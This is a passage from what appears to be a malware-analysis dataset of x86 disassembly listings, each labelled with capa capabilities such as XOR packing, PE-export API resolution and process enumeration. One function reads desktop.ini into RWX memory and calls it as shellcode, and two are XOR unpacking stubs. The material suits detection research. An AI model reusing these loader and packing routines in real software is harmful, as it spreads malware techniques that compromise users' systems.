joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x6aa72d52
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x387420bb
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001000
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
push 0
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1000105e
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001057
mov edi, dword [esp + 0x134]
lea ecx, [esp + 0x2c]
push edi
push ecx
call fcn.10001690
add esp, 8
test eax, eax
je 0x1000106a
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001036
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x128
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x128
ret
Function at 0xae4206
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xchg ebp, eax
ret 0xc13
add edi, eax
call fcn.00fb13f0
je 0xae41c6
mov al, byte [0x9dc9c7e5]
sal dword [ebp + 0x7a], 1
invalid

Function at 0xae597a
Capabilities:
Encode data using base64

Disassembly:
call fcn.00ae2637
movsb byte es:[edi], byte [esi]
imul esi, dword [edx - 0x5f], 0xffffff8f
stosb byte es:[edi], al
fidiv dword [ebp - 0x53]
and ch, byte [ecx + 0x6d]
sub byte [ecx + 0x46], 0x29
adc al, 0xd
call 0xe57e23d8
fistp dword [ecx]
sub edi, edi
pop esi
movsb byte es:[edi], byte [esi]
cmpsb byte [esi], byte es:[edi]
jp 0xae32df
invalid
mov ebx, eax
sal di, cl
mov edi, eax
sar ch, cl
sub cl, ch
or cl, 0xc2
mov ecx, 0x104
pushal
xor al, al
mov byte [esp + 0x10], 0xa
clc
mov word [esp + 4], 0x59a6
repne scasb al, byte es:[edi]
lea esp, [esp + 0x24]
jg 0xae32c3
push ebx
lea esp, [esp + 4]
jne 0xfaff52
movzx esi, al
xchg si, cx
clc
inc ecx
mov ecx, edi
bts si, 5
bsr esi, ebp
rcl si, 0xe
sub ecx, ebx
shl si, 0xe
ror si, cl
rol si, cl
mov esi, esp
pushfd
pushal
stc
cmp dx, 0xa7cb
sub edi, 4
pushfd
push dword [edi]
pop dword [esp + 0x24]
call fcn.00ae6fbb
not bp
bswap bp
call fcn.00fbf617
mov bl, 0x33
push es
pminsw mm5, mm0
call 0xbf3c10de
shl byte [esi - 0x1099e151], 1
rol byte [edx - 0x28], 1
mov ebp, 0xe323788a
fistp word [eax + 0x307773d3]
fdivr st(6), st(0)
pop edx
cmc
push ebx
lds esi, [ebx - 0x48dc0889]
add al, 0x89
sub ch, bl
mov byte [0xa8be62d5], al
outsb dx, byte [esi]
rcr al, 1
stc
stc
jb 0xae5a4c
inc ebp
ret
movsb byte es:[edi], byte [esi]
aam 0x40
cmp dword [edx], edi
invalid

Function at 0xf99d9d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add edx, 0x11c
pushfd
push dword [esp]
lea esp, [esp + 0x10]
jmp 0xfaa6f4
Function at 0xf9c4fe
Capabilities:
Encode data using xor

Disassembly:
jle 0xf9c546
lcall 0x2444, 0x899a21ac
inc esp
jle 0xf9c545
add byte [eax], al
stc
jmp 0xfa3657
call fcn.00faf899
ja 0xf9c54b
cmp eax, 0x58365e60
std
xchg ch, al
or bl, byte [edx + 0x61]
pop edx
popal
xor byte [ebx + 0x2c], cl
stc
add al, 0xe2
fchs
or eax, 0x6071febe
push 0x3c
enter 0xffffffffffffb6c4, 0x25
sbb dword [ebx], edx
adc al, byte [ecx]
or edi, dword [edx + 0x6c]
jb 0xf9c50e
rcr ecx, cl
stosd dword es:[edi], eax
sub al, 0x1a
xchg byte [esi - 0x2f2cb7d8], cl
xor al, 0x81
js 0xf9c4e5
adc byte [ebx + 0x25775c57], ch
jl 0xf9c4f4
mov cl, 0xee
out dx, al
mov bl, 0x3b
sub al, ch
xor dword [ecx + 0x27], edi
jns 0xf9c574
xchg edi, ebx
jmp 0xf9c5ab
and esi, ebp
sub cl, al
clc
dec ebx
add dword [ecx - 0x62], esi
sub ch, byte [ebx - 0x259840b6]
shl dword [edx + ebx*4 + 0x3f], 0xb4
scasd eax, dword es:[edi]
mov eax, dword [0x6c9742a4]
pop esp
and eax, 0xf0c6f94c
pop eax
bound edx, qword [edx - 0x77]
dec eax
inc esi
sbb al, byte [ebx + 0x78]
enter 0x5ee4, 0x42
add dword [ebp + eax*2 + 0x3d92c5fe], edi
fidivr word [ecx + 0x52]
jecxz 0xf9c546
movsb byte es:[edi], byte [esi]
pop edi
wait
wait
xchg esi, eax
pop edi
sti
or esp, edx
mov cs, word [edx + esi*2 - 0x5efa3aba]
mov byte [0x75744c88], al
push ebx
sti
mov dword [0x9f9cff08], eax
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
jg 0xf9c56f
iretd
sub al, al
stc
repne scasb al, byte es:[edi]
pushal
jmp 0xfa3cf2
lea esp, [esp + 0x20]
jne 0xfaff52
xchg cx, si
inc cx
mov ecx, edi
mov esi, ebp
test al, cl
sub ecx, ebx
bswap esi
shld si, bp, 0xd
mov esi, esp
cmc
pushal
pushal
sub edi, 4
call fcn.00ae8a33
Function at 0xfa0dae
Capabilities:
Encode data using xor

Disassembly:
pushfd
mov dword [esp + 4], eax
and al, 4
mov al, 0xbe
seta al
push dword [esp]
lodsb al, byte [esi]
pushfd
pushal
call fcn.00ae436c
and ebp, edx
xor eax, 0xea23ffb4
add dword [edx + edx], ebx
cdq
mov edx, 0x358d30e1
sub cl, byte [0xd9081316]
fdivr qword [edx - 0x2c613a38]
xchg esi, eax
xor bl, byte [ecx]
inc ecx
cmp eax, 0xccd4e5e3
fadd st(5)
shl dword [ebp - 0x6a52e756], cl
scasd eax, dword es:[edi]
sahf
push ebx
rcr dword [edi - 0x64bccd24], 1
sbb al, 0xb7
je 0xfa0e73
cli
jne 0xfa0e5c
sub dword [ebx + 0x557795e4], edx
jnp 0xfa0db1
scasb al, byte es:[edi]
scasb al, byte es:[edi]
lea ebp, [edi + 0x7b]
xchg edi, eax
push 0x56262940
pop edx
movsd dword es:[edi], dword [esi]
sar dword [esi + 0x57], 0xf4
inc eax
jns 0xfa0e94
sbb byte [eax - 0x14], ah
movsb byte es:[edi], byte fs:[esi]
xchg al, dl
or ecx, dword [edi - 0x78d7a4c9]
out 0xf0, eax
aam 0xbe
jo 0xfa0dc0
push es
sti
imul ecx
aam 0x8b
cld
push edi
push cs
popal
js 0xfa0e66
call 0xa18a7abc
rol dword [edx + edi*2 - 0x4e4308db], 1
xchg esp, eax
in al, 0x15
ficom word [ebx + 0x57bce534]
push cs
aad 0x8e
xor al, 0xe5
mov esp, 0x8ed50e57
push ebx
ljmp 0x7f50
lahf
mov ebx, cs
rcl dword [ebp - 0x73ca5fa2], 0x68
sbb dword [eax + 0x4f], 0xf30231d
clc
retf
dec edi
sbb eax, 0xf80f3023
sti
cld
loope 0xfa0e8a
retf
xor ecx, edx
and edi, dword [ebx + 0x66]
add eax, 0x777a9a53
sub cl, 0x6b
jge 0xfa0e48
mov edx, 0x91a8abc
pop ss
fld st(5)
jle 0xfa0e46
lds edi, [esi - 0x47]
pop ebp
wait
salc
xor al, 0xca
cmp byte [edx + 0x7f], 0xc4
jg 0xfa0e5a
mov dword [0x1347c048], eax
push ecx
arpl word [ecx], si
lodsb al, byte ds:[esi]
sar dword [edx - 0x9fdeb50], 0x8a
cmp al, 0xe0
invalid

Function at 0xfa26cb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movsx eax, al
stc
mov ax, 0x2d41
movzx ax, bl
push ebp
add bp, 0xb8b1
setp al
cmc
mov ebp, esp
movzx eax, bl
rol ah, cl
sub esp, 0x10
or ah, 0xf4
sub ax, si
push esi
shl ax, 9
daa
aam 0xe7
push edi
adc eax, 0x800f4852
lea eax, [ecx - 0x34c0b296]
bts ax, 1
btc ax, 1
push ebx
not ah
rol al, cl
push edx
neg al
test si, di
btr ax, sp
mov eax, dword [ebp + 8]
cmp bl, 0xfb
test al, 0xd9
bt si, bx
test bh, cl
test eax, eax
jmp 0xfbe41b
call 0xfa2f03
Function at 0xfa2f03
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test edi, edi
push 0xad6efb57
pushal
lea esp, [esp + 0x2c]
je 0xfaff52
bt ecx, 0x14
clc
push eax
add eax, edi
call fcn.00fb53a0
ret
bt dx, cx
cmc
cmp dh, 0xcb
sub ecx, dword [edx + 0x10]
stc
cmp ecx, dword [edx + 0x14]
pushfd
push ecx
push dword [esp + 4]
lea esp, [esp + 0xc]
jae 0xfaff52
pushfd
pushal
lea esp, [esp + 0x24]
jmp 0xfa1d37
dec di
mov edi, dword [edx + 0x1c]
bt ecx, 0x13
pushfd
clc
test dh, 0xe4
add edi, eax
push 0x6d31b8b
mov edi, dword [edi + ecx*4]
jmp 0xae6055
call fcn.00f9f9dd
pushfd
lea esp, [esp + 8]
je 0xfaff52
push edx
shl si, 7
test ax, 0xd695
mov esi, dword [eax + 0x3c]
xor dl, 0x34
add esi, eax
bsf dx, ax
dec dx
mov edx, dword [esi + 0x78]
clc
stc
jmp 0xfbe91b
push 0xeeb99291
lea esp, [esp + 0x2c]
je 0xfaff52
sar ecx, cl
add edx, eax
push eax
mov ecx, dword [esi + 0x7c]
stc
bt edx, 0x17
mov dword [esp], 0x8662549f
add ecx, edx
cmc
pushfd
bt dx, 5
push esi
mov dword [ebp - 0x10], ecx
test ch, 0xca
adc cx, bx
mov ecx, dword [ebp + 0xc]
push 0x9615dbe7
cmc
cmp ecx, esi
pushal
cmp ecx, 0xffff
mov byte [esp + 4], 0x5a
pushfd
lea esp, [esp + 0x34]
jbe 0xae958f
sub edi, 0x1476604c
mov edi, dword [edx + 0x24]
clc
shr bl, 2
not bx
movsx bx, bl
add edi, eax
push esp
jmp 0xfb52d0
add ecx, 1
call fcn.00fafb81
adc bh, 0xab
mov ebx, dword [edx + 0x20]
movzx cx, cl
add ebx, eax
shl cl, 1
lea ecx, [esp + 0x60e2bbb0]
mov dword [ebp - 8], 0
rcl cl, 6
mov ecx, dword [edx + 0x18]
add esp, 4
bt ebx, ebp
jle 0xfa2efe
push ebx
add esi, 2
lea esp, [esp + 4]
je 0xfbe5d1
dec ecx
pushfd
lea esp, [esp + 4]
jne 0xae4349
adc ch, dl
add ecx, edi
mov ecx, dword [ebp - 4]
test ah, 1
cmp dword [ebp + 0x14], ecx
call fcn.00ae2bec
pushfd
inc al
mov byte [esp], cl
rol al, 2
push 0xb446abea
mov byte [esp + 4], 0x50
mov byte [ecx], al
jmp 0xfb28ab
call 0xae977d
cmp ebx, dword [edx]
out 0x3a, eax
and dh, dh
and eax, 0xbe09de4c
push ss
add edi, esp
xlatb
fidiv dword [ecx + 0x24989dcc]
or byte [edx], ah
and dword [esi + ebx], ecx
cld
jo 0xfbe625
mov ch, 0x6c
xor esp, dword [ebp - 0x7a]
les esi, [edx + 0x42cef1e5]
cmp ecx, esi
fisubr word [0xc5eae678]
idiv byte [edi - 0x75]
sar ebp, 1
mov ebp, 0x38503003
stc
cmp cl, byte [esi]
add byte [edx - 0x32cc085e], ah
add eax, 0x437d4a57
ljmp 0xf07f
or eax, 0x30898994
sar dword [edi - 0x42], cl
sbb eax, 0xcc74b029
cli
and al, 0x13
adc ebx, eax
pop es
shl byte [edx + 0x1a9ed115], 0xdd
inc ecx
pop edx
add dword [eax - 0x7526d7a1], esi
pop ebx
sbb dh, byte [edi + 0x7dccf95e]
pop edi
xor al, 0xb8
inc esp
mov ecx, 0x507d3232
xchg ebx, eax
xchg ecx, eax
bound esp, qword [ebx]
mov al, byte [0x59908089]
cmp ch, byte [0xff0e1d2a]
rcl bl, cl
salc
invalid
test edx, edx
pushal
push ecx
jmp 0xfaed5d
Function at 0xfaa6d4
Capabilities:
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
movzx bx, bl
pop esi
lea ebx, [0x8bcc572b]
mov di, 0xcf06
jmp 0xae88ec
pop edi
not esi
mov si, 0x3da1
movzx esi, word [edx + 0x1a]
push ebp
lea esi, [esi + edx + 0x1c]
call int.00fa0224
lea esp, [esp + 8]
je 0xae2bfe
movsx bx, cl
dec di
not bh
add dword [ebp - 4], ecx
bsr di, di
bts di, 8
sub ecx, 8
cmc
bt ebx, 0xf
shr ecx, 1
or bl, cl
pushal
bswap bx
mov edi, dword [esi]
bsr bx, si
pushfd
add edi, dword [ebp + 0x10]
cmp cx, bp
bswap bx
add esi, 8
lea esp, [esp + 0x24]
pop edi
movsx cx, dl
pop ebx
movsx ecx, al
pop ecx
pushal
push ebx
pushfd
push edi
mov esp, ebp
not bp
movzx bp, dl
movzx bp, al
movsx bp, al
pop ebp
pushfd
mov byte [esp], 0x29
pushal
push dword [esp + 0x24]
ret 0x38
movsx ecx, dl
not cx
push ebx
clc
mov ecx, dword [esi + 4]
stc
or ecx, ecx
push 0x920731b6
jmp 0xae4303
call fcn.00ae4361
add al, 0x39
inc esi
pop edi
or dword [edi - 0x42], 0xf3d6f521
cmpsd dword [esi], dword es:[edi]
xchg edx, eax
insd dword es:[edi], dx
dec edx
inc ecx
inc edx
xor eax, 0xe98acdd1
pop ecx
dec ecx
pushal
sbb eax, 0xf4d8e8f8
out dx, eax
invalid
call fcn.00fb3522
pushfd
pushal
pushfd
lea esp, [esp + 0x28]
ja 0xae9ed2
mov si, si
movsx esi, cl
pop esi
pushfd
movzx di, bl
mov edi, dword [esp + 4]
lea ecx, [esi + 0x269ee63b]
mov ebx, dword [esp + 8]
bswap cx
not cx
call fcn.00fae5be
pushal
call fcn.00f9a972
or byte [edi + 0x38], al
arpl word [ecx + 0x69a3745b], ax
retf 0x5b01
lea esp, [esp + 4]
je 0xf9e943
lea edi, [edi*4 + 0x6302dcf7]
xchg si, di
jo 0xfb31c6
bswap di
lea edx, [ebx + 4]
jmp 0xfbf571
setge dl
seto dl
bswap si
pushfd
lea edx, [ebx + 4]
jmp 0xae38a2
movzx esi, word [edx + 0x1a]
movsx di, bl
pushal
jmp 0xfa3a6e

Function at 0xfad8c5
Capabilities:
Encode data using xor

Disassembly:
call fcn.00f99d9d
ja 0xfad91f
xchg dword [ecx - 0x441298e1], ebx
push es
scasb al, byte es:[edi]
mov cl, 0x90
pop esi
push 0x63
dec edx
pop ebx
pop ss
and al, byte [ebx]
push esp
push esp
dec esi
andps xmm0, xmmword [ebp - 0x4d]
inc ebp
or eax, dword [edi]
scasd eax, dword es:[edi]
invalid
push ds
sbb eax, 0xd582b0be
invalid

Function at 0xfafff3
Capabilities:
Encode data using base64

Disassembly:
call fcn.00fa3293
call 0xae36b5
shld bx, dx, 5
shr bl, cl
shrd bx, bp, 0xf
or bl, 0xec
mov ebx, eax
jmp 0xfae8af
not al
mov eax, dword [edx + 8]
pushal
pushal
lea esp, [esp + 0x40]
jmp 0xae4367
call fcn.00facb48
cmp dl, cl
cmc
pushfd
cmp byte [edi], 0x23
pushal
pushal
lea esp, [esp + 0x44]
jmp 0xfb0a51
pushal
jmp 0xfb1a42
pushal
lea esp, [esp + 0x20]
jne 0xae500e
aaa
shl ax, 0xa
setae al
btc eax, esi
xor edx, edx
inc eax
rcl al, 1
pushal
mov eax, edx
lea esp, [esp + 0x20]
jmp 0xfb0529
lea esp, [esp + 0x30]
call fcn.00fb23f7
push ecx
lea esp, [esp + 4]
jns 0xf9a1a8
pushal
lea esp, [esp + 0x20]
jne 0xae4703
jmp 0xae7219

Function at 0xfb184e
Capabilities:
Encode data using xor

Disassembly:
pushfd
cmp byte [edi - 1], 0
mov word [esp + 4], 0x40b2
pushfd
lea esp, [esp + 0xc]
jne 0xfafd27
clc
movzx di, cl
add di, 0x12fa
Function at 0xfbde7d
Capabilities:
Encode data using xor

Disassembly:
push 0x2ce7b33d
setle bl
inc ecx
lea esp, [esp + 4]
pushfd
inc ecx
add esp, 4
pushfd
sub bl, 0xfe
test cx, di
xchg ebp, eax
sub esp, 0xfffffffc
out 0xe7, al
add al, 0x5a
dec esi
xor byte es:[ebx], dl
and eax, 0x4e338cae
aad 0xc4
invalid
movzx edi, dl
movzx di, dl
pop ebx
movsx si, cl
call fcn.00f9a31c
inc ebp
jle 0xfab581
stosb byte es:[edi], al
pushfd
push edx
jecxz 0xfab646
mov esi, 0x53868d35
push esi
pop ebp
cmp dh, byte [ecx]
or al, 3
push es
add eax, 0xf6d61d10
fdiv qword [edx - 0x42b0beae]
adc byte [esp + eax], 0xc6
mov dl, 0x52
inc ecx
dec edi
mov ebp, 0xc6041482
pushal
add esp, ecx
push esp
out dx, eax
aaa
xor edi, dword [ebx - 0x3f]
xchg ecx, eax
adc cl, byte [esi + 0xff75c2c]
invalid
sal byte [ebx + 0x6f81970f], 1
loope 0xfab60c
mov ebp, 0x3f22d65e
salc
and bh, byte [edi]
lodsd eax, dword [esi]
sub byte [esp + ecx*8], al
inc eax
fadd st(0), st(0)
mov eax, 0xd8162457
enter 0xffffffffffffda53, 0xffffffffffffffb8
salc
mov al, byte [0xcaa53a0]
xor dword [edx - 0x5de2959], edi
rcr dword [esi - 0x7837d675], 0x2a
ror dword [edx + 0x62a3e447], 0x1f
sar byte [edi + 0x79], cl
pop edi
xor eax, 0x3e9aabe8
xchg ebx, eax
fdiv qword [ecx - 0x2c300108]
xchg esp, eax
pop esp
xchg ebx, eax
jecxz 0xfab66c
rol esp, cl
xchg ebx, eax
mov dword [ecx + 0x67687f98], edx
dec edx
xchg dword [eax], esi
or al, 0x50
sub al, 0x28
jge 0xfab6c9
push es
nop
inc dword [edi - 0x7f040e1d]
mov byte [0x82c9d956], al
scasd eax, dword es:[edi]
ja 0xfab6df
dec edi
mov ecx, 0x784697f6
xor byte [edx], ch
dec eax
fst st(6)
mov dl, 0xb4
jno 0xfab63c
mov dl, 0x97
in eax, 0x92
test byte [esp + edx*8 - 0x7044b53a], dl
jmp 0xfab70f
into
cmp eax, 0xc15f1fa8
movsb byte es:[edi], byte [esi]
salc
and al, 0xca
retf 0x8b08
xchg ecx, eax
adc al, 0xa3
mov eax, dword [0x8399ce49]
xor eax, 0xb36a839e
arpl word [0x20c89266], bx
into
cdq
xor dword [0xb36a839e], 0xfffffff3
arpl word [0x20c89266], bx
adc ch, cl
inc ecx
scasd eax, dword es:[edi]
dec esp
xchg esi, eax
in eax, dx
cdq
rcl byte [edx]
sar byte [esi], cl
sub byte [edi + 0x20905dee], ah
sbb al, ch
mov ebx, 0xc9a4add5
sbb dword [edi + 0x73], ecx
test byte [ecx - 0x535b9fbf], dh
pushal
movsb byte es:[edi], byte [esi]
lodsb al, byte [esi]
jp 0xfab6da
mov gs, word [esi + 0x66]
pop ebx
xchg esp, eax
dec ebp
jge 0xfab6aa
mov ebx, 0xffdb547f
mov al, byte [0xcf6d3aac]
mov ch, 0x63
xor al, 0x24
iretd
mov byte [esp], ah
mov word [esp + 8], 0xdcb3
not al
clc
ror al, 3
test dh, 0x86
test cx, 0x1e
clc
not al
cmp dh, 0x7a
add al, 0xf0
bt ebp, esp
mov byte [esp + 8], bh
shr eax, 1
mov byte [esp + 4], al
lea esp, [esp + 0x30]
je 0xfab5e0
pushfd
adc ecx, ecx
pushal
lea esp, [esp + 0x24]
jmp 0xfaaadd
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x619b6595
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x73793014
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x42cb60
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x535974]
sub esp, 0x10c
test eax, eax
push esi
mov esi, ecx
je 0x42cba3
mov esi, dword [esp + 0x114]
mov eax, dword [0x52c668]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], eax
push ecx
mov ecx, esi
call fcn.004fcb1e
lea ecx, [esp + 0xc]
call fcn.004fcda9
mov eax, esi
pop esi
add esp, 0x10c
ret 8
mov eax, dword [esp + 0x118]
mov edx, dword [0x52c668]
inc eax
mov dword [esp + 4], edx
cmp eax, 0xf
ja case.0x42cbba.1
jmp dword [eax*4 + 0x42cd10]
push str.Logo.vob
jmp 0x42cc05
push str.Claw0.vob
jmp 0x42cc05
push str.Claw1.vob
jmp 0x42cc05
push str.Claw2.vob
jmp 0x42cc05
push str.Claw3.vob
jmp 0x42cc05
push str.Claw4.vob
jmp 0x42cc05
push str.Claw5.vob
jmp 0x42cc05
push str.Claw6.vob
jmp 0x42cc05
push str.Claw7.vob
jmp 0x42cc05
push str.Claw8.vob
lea ecx, [esp + 8]
call fcn.004fcee6
mov ecx, dword [esp + 4]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42cc31
mov esi, dword [esp + 0x114]
lea edx, [esp + 4]
push edx
mov ecx, esi
call fcn.004fcb1e
jmp 0x42ccf9
mov eax, dword [0x52c668]
lea ecx, [esp + 0x10]
push ecx
push 0xff
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x42cc81
mov edx, dword [esp + 4]
lea eax, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x10]
push 0x5240bc
push ecx
call fcn.004fafb8
mov edx, dword [esp + 0x18]
push edx
call fcn.0048f3f0
add esp, 0x14
test eax, eax
jne 0x42cc81
lea ecx, [esp + 8]
call fcn.004fcd34
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42ccc0
mov eax, dword [esp + 4]
mov ecx, esi
push eax
call fcn.0042c830
movsx ecx, al
push ecx
lea edx, [esp + 0x10]
push str._c:Movies_s
push edx
call fcn.004fafb8
mov eax, dword [esp + 0x18]
add esp, 0x10
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42ccc0
lea eax, [esp + 8]
push eax
jmp 0x42cce2
push eax
call fcn.0048f3f0
add esp, 4
test eax, eax
jne 0x42ccdd
lea ecx, [esp + 8]
call fcn.004fcd34
lea ecx, [esp + 8]
push ecx
jmp 0x42cce2
lea edx, [esp + 8]
push edx
mov esi, dword [esp + 0x118]
mov ecx, esi
call fcn.004fcb1e
lea ecx, [esp + 8]
call fcn.004fcda9
lea ecx, [esp + 4]
call fcn.004fcda9
mov eax, esi
pop esi
add esp, 0x10c
ret 8
Function at 0x42da70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x154
push esi
mov esi, dword [esp + 0x160]
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
test esi, esi
mov dword [esp + 0x18], 0x44
je 0x42daf0
cmp byte [esi], 0
je 0x42daf0
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x42dad2
cmp byte [ecx + esi - 1], 0x5c
jne 0x42dad2
mov eax, dword [esp + 0x160]
lea ecx, [esp + 0x5c]
push eax
push esi
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x42db0b
mov edx, dword [esp + 0x160]
lea eax, [esp + 0x5c]
push edx
push esi
push 0x5240bc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x42db0b
mov ecx, dword [esp + 0x160]
lea edx, [esp + 0x5c]
push ecx
push 0x5241a0
push edx
